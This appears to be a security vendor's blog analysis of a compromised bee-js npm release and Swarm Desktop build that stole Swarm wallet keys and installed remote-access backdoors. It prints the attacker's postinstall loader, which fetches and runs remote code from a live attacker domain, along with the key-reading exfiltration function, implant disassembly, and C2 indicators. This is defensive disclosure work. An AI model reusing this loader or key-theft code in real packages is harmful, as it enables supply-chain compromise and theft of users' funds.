Compromised bee-js and Swarm Desktop Steal Swarm Wallet Keys

Kunal Singh7 min read

TL;DR

@ethersphere/bee-js is the JavaScript client for the Swarm storage network. Version 13.3.0 runs attacker code on install. A new postinstall hook downloads a second stage that steals the Swarm node’s wallet key and installs a backdoor. On Linux and macOS, the backdoor is a Go remote shell. On Windows, it is a hidden ScreenConnect client that runs as SYSTEM.

30 minutes later, the attacker put the same malicious code in Swarm Desktop 0.56.2.

The project’s own release workflow published 13.3.0 with a valid npm provenance attestation. The project’s release bot, bee-worker, made the release commit. This points to a compromised bot account or token, not a stolen npm token.

npm removed 13.3.0. The last clean version is 13.2.0, and latest points to it again.

The malicious commit

bee-worker made commit de2f74e(opens in new tab) at 23:59:54 UTC on 2026-11-08, with the message chore(upcoming): release 13.3.0 and no signature. No branch contains it. It looks like a normal release bump, but two changes in package.json make the attack work:

package.json @ de2f74e
   "files": [
-    "dist"
+    "dist",
+    "scripts"
   ],
   "scripts": {
-    "prepare": "node scripts/generate-version.cjs",
+    "postinstall": "node scripts/generate-version.cjs",

With postinstall, the script runs on every install. With scripts in files, the script ships in the package.

How it reached npm with provenance

The malicious code never went onto a branch. It went to npm through a GitHub release:

  1. bee-worker made commit de2f74e, a v13.3.0 tag for it and a GitHub release for the tag, all in the same second.
  2. The published release started the project’s npm workflow, publish_npmjs.yaml(opens in new tab).
  3. The workflow built the commit and published it to npm at 00:09 UTC with provenance. It runs tests only for code pushed to a branch, so it ran none here.

Branch protection did not stop this, because the attacker did not use a branch. Anyone who can create a release in this repository can publish code to npm with provenance.

Stage 1: the loader

The attacker added 18 lines to the top of the script(opens in new tab):

scripts/generate-version.cjs @ de2f74e (lines 11-28)
try {
  const req = require('https').get(
    'https://api.frameworkmetrics.xyz/v1/analytics',
    {
      headers: {
        'User-Agent': process.platform,
        'X-Ethersphere': '1',
      },
      timeout: 3000,
    },
    async res => {
      let body = ''
      for await (const chunk of res) body += chunk
      new Function('require', 'console', 'process', body)(require, console, process);
    },
  )
  req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}

The hook downloads code and runs it with Node’s real require and process, as the same user as npm install.

The User-Agent is only the OS name (linux, darwin or win32), so the server can send a different payload for each OS. The X-Ethersphere: 1 header unlocks the payload. Without it, the server sends a harmless decoy.

The hook ignores all errors and timeouts, so the install never shows a problem. Its comments call the request an “analytics ping”.

Stage 2: wallet key theft and a backdoor

The stage-2 payload is plain JavaScript, with one file for each OS. It does two things.

It steals the Swarm node’s wallet key. It reads config.yaml and data-dir/keys/swarm.key from the Swarm Desktop data folder and sends both to /v1/swarm/report. swarm.key is an encrypted Ethereum keystore, and Swarm Desktop keeps its password in plain text in config.yaml. With both files, the attacker has the node’s private key and can take the wallet’s xDAI and xBZZ, the chequebook funds and the stake.

stage-2 payload, linux @ 1f3a7afd (lines 62-74)
function trySwarm() {
  try {
    if (typeof require !== 'function') return;
    var fs = require('fs');
    var path = require('path');
    var base = swarmBase();
    if (!base || !fs.existsSync(base)) return;
    var configPath = path.join(base, 'config.yaml');
    var keyPath = path.join(base, 'data-dir', 'keys', 'swarm.key');
    if (!fs.existsSync(configPath) || !fs.existsSync(keyPath)) return;
    postSwarm(fs.readFileSync(configPath, 'utf8'), fs.readFileSync(keyPath, 'utf8'));
  } catch (e) { /* silent */ }
}

The macOS and Windows variants differ only in the base folder:

It installs a backdoor that survives reboots.

On Linux, each later run repairs the systemd unit if someone changed it.

Stage 3: the implants

The evjawbreaker implant on Linux and macOS

The Go implant, evjawbreaker, is a remote shell. It connects to a “hub” over TLS without checking the certificate. It runs sh in a pseudo-terminal, runs the commands the hub sends and returns the output. If it finds a debugger or a virtual machine, it exits before it connects.

The implant has no built-in server address. It reads the hub address from an Ethereum smart contract, 0xf8a900Db50b3331be6B768bA460BB59f3E40C344, through public RPC endpoints such as rpc.ankr.com and cloudflare-eth.com. Defenders have no domain to take down, and the operator can move the hub with one transaction. The disassembly shows the contract address and the getter the implant calls:

main.fetchParam1Once, linux_amd64 implant @ 9b73e7cd
663f87: lea   rdi, [rip + 0xfe4e2]  ; "0xf8a900Db50b3331be6B768bA460BB59f3E40C344"
663f93: lea   r8, [rip + 0xef7ac]  ; "0x02d91518"
663fa0: call  0x65b500  ; evjawbreaker/internal/eth.ethCallWithFallback
663fae: call  0x65be40  ; evjawbreaker/internal/eth.ParseABIString

The operator is not new. They deployed the contract on 2026-03-14, and it has pointed to seven hubs since. They set the current hub, 193.57.9.155:4912, at 23:30 UTC on 8 Nov, 29 minutes before the malicious bee-js commit.

ScreenConnect on Windows

Windows gets two files. The first, invoke.ps1, is an obfuscated PowerShell script that gets admin rights:

  • If the user is an administrator, it uses a public UAC bypass, UACME method 39. This method hijacks the .NET profiler of mmc.exe, which starts with admin rights.
  • If not, it shows the UAC prompt again each time the user cancels it.

With admin rights, the script adds a Defender exclusion, installs app.msi silently, then removes the exclusion and its staging files.

The second file, app.msi, is a real ScreenConnect 25.4.3 client signed by ConnectWise. The attacker changed only its settings:

  • It connects to a relay at 185.232.84.169:8041.
  • It hides its tray icon and its connection banners.
  • It starts sessions without asking the user.
system.config in app.msi @ 09afa1ff (lines 7-9)
<setting name="ClientLaunchParametersConstraint" serializeAs="String">
    <value>?h=185.232.84.169&amp;p=8041&amp;k=BgIAAACkAABSU0ExAAgAAAEA…</value>
</setting>

It runs as a SYSTEM service, so the attacker gets full remote control. Onidel in the Netherlands hosts both the relay and the current evjawbreaker hub.

The ScreenConnect program files are legitimate, so their hashes are not useful for detection. Detect the relay address, the service instance ID and the configuration file hashes instead.

Swarm Desktop 0.56.2 is also malicious

At 00:36 UTC, about 30 minutes after bee-js, bee-worker published Swarm Desktop v0.56.2 as an “emergency patch release”. Its commit, 2de7270(opens in new tab), has no signature and no pull request. It adds the same loader to the app’s main() function, which calls /v1/electron each time the app starts.

The amd64 .deb has the loader in its app.asar file. The other installers come from the same build and probably contain it too. At 06:58 UTC on 9 Nov, GitHub still showed v0.56.2 as the current release. The Windows auto-updater file had 17 downloads, so existing installs may have updated to it. Swarm Desktop users have the exact wallet files that stage 2 steals.

Our detection timeline

Our Automated Investigation confirmed it as malicious four minutes after publish, about 70 minutes before npm removed it.

bee-js 13.3.0 detection, 9 Nov 2026Published to confirmed malicious in 4 minutes
  1. 00:09 UTC
    Published to npmObserved

    The registry monitor recorded the new version.

  2. 00:10 UTC
    Queued for analysis

    The new version went into the analysis queue.

  3. 00:10 UTC
    Analysis completed

    The threat monitor finished its first scan.

  4. 00:10 UTC
    Flagged as suspiciousCritical

    Critical severity, 7 signals.

  5. 00:13 UTC
    Investigation completedMalicious 0.95

    Automated Investigation returned a malicious verdict with 0.95 confidence.

  6. 00:13 UTC
    Verdict proposed: malicious

    Automated Investigation proposed a malicious verdict.

  7. 03:17 UTC
    Verdict approvedApproved

    Approved after a matching OSV report.

If you installed either one

  • Treat the machine as compromised.
  • Move the Swarm node’s funds and stake to a new key. Treat the old key as stolen.
  • Remove the backdoor: the ~/.solidity/ folder and its systemd unit or LaunchAgent, or the ScreenConnect Client (5cbe79c9c25524df) service on Windows.

Indicators of compromise

Stage 1: package and files

Stage 1: network

Stage 1: repository and CI

Stage 2 and stage 3

The CSV has 65 indicators from the payloads, the implants, the C2 contract and the Swarm Desktop release. It leaves out the wallet that funded the operator. That wallet has more than 266,000 transactions, so it is probably an exchange wallet and not attacker infrastructure.

IoC: bee-js stage 2 and stage 3
Rowtypevaluecontextfirst_seen_utcsource
1urlhttps://api.frameworkmetrics.xyz/v1/analyticsStage-2 payload endpoint (bee-js postinstall loader)2026-11-09T05:43:41Zstage-2 payloads (fetched live)
2urlhttps://api.frameworkmetrics.xyz/v1/electronStage-2 payload endpoint (Swarm Desktop 0.56.2 loader)2026-11-09T05:43:41Zstage-2 payloads (fetched live)
3urlhttps://api.frameworkmetrics.xyz/v1/assets/Stage-3 asset download prefix (linux_amd64|linux_arm64|darwin_amd64|darwin_arm64|invoke.ps1|app.msi)2026-11-09T05:43:41Zstage-2 payloads (fetched live)
4urlhttps://api.frameworkmetrics.xyz/v1/swarm/reportExfil endpoint: POST {configYaml,v3} = Swarm Desktop config.yaml (keystore password) + swarm.key2026-11-09T05:43:41Zstage-2 payloads (fetched live)
5http_headerX-Ethersphere: 1Gate header required by C2 to serve real payload; sent on every C2 request2026-11-09T05:43:41Zstage-2 payloads
6ip_port193.57.9.155:4912CURRENT evjawbreaker hub (TLS, implant skips cert verification); set on-chain 2026-11-08T23:30:47Z; Onidel NL2026-11-08T23:30:47Zeth_call 0xf8a9...C344 0x02d91518
7ip_port193.57.9.17:4912Historical evjawbreaker hub (on-chain param1); Onidel NL2026-09-24T17:30:23Zcontract tx history (Blockscout)
8ip_port178.16.54.222:4912Historical evjawbreaker hub (on-chain param1); TR-MGN TR2026-09-23T22:47:35Zcontract tx history (Blockscout)
9ip_port107.189.27.223:4912Historical evjawbreaker hub (on-chain param1); RouterHosting2026-07-31T22:10:11Zcontract tx history (Blockscout)
10ip_port107.189.27.46:4912Historical evjawbreaker hub (on-chain param1); RouterHosting2026-05-03T16:55:11Zcontract tx history (Blockscout)
11ip_port91.108.240.156:4912Historical evjawbreaker hub (on-chain param1); Aeza FR2026-03-28T21:55:11Zcontract tx history (Blockscout)
12ip_port107.189.16.215:4912Historical evjawbreaker hub (on-chain param1); RouterHosting2026-03-14T14:04:23Zcontract tx history (Blockscout)
13urlhttp://107.189.27.46:3000/app.jsCURRENT on-chain param2 (getter 0x1f049b68); unused by analysed implant; likely other operator tool; not retrieved2026-05-16T12:08:23Zeth_call 0xf8a9...C344 0x1f049b68
14urlhttp://91.108.240.156:3000/app.jsHistorical on-chain param22026-03-29T19:16:59Zcontract tx history
15urlhttp://91.108.240.156:3000/appHistorical on-chain param22026-03-29T19:07:47Zcontract tx history
16ip_port185.232.84.169:8041Rogue ScreenConnect relay (h=/p= in system.config); Onidel NL2026-11-09T05:45:10Zapp.msi system.config
17eth_contract0xf8a900Db50b3331be6B768bA460BB59f3E40C344C2 dead-drop contract (Ethereum mainnet); getter 0x02d91518=hub, 0x1f049b68=URL; setters 0xc832508f/0xf56f9b482026-03-14T13:03:47Zimplant strings + chain
18eth_function_selector0x02d91518eth_call data used by implant to fetch hub (detect in JSON-RPC traffic with the contract address)2026-03-14T13:03:47Zimplant disassembly
19eth_address0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7Operator wallet: deployer/owner/only writer of C2 contract2026-03-14T12:50:23Zchain
20eth_contract0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94BSecond dead-drop contract (same getters 0x02d91518/0x1f049b68, encoded values; setter 0x8ac7fae5); deployed by 2nd operator wallet2026-07-31T18:31:11Zchain
65 rows · showing first 205 columns
  • supply-chain
  • npm
  • malware
  • github-actions
  • provenance
  • swarm

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.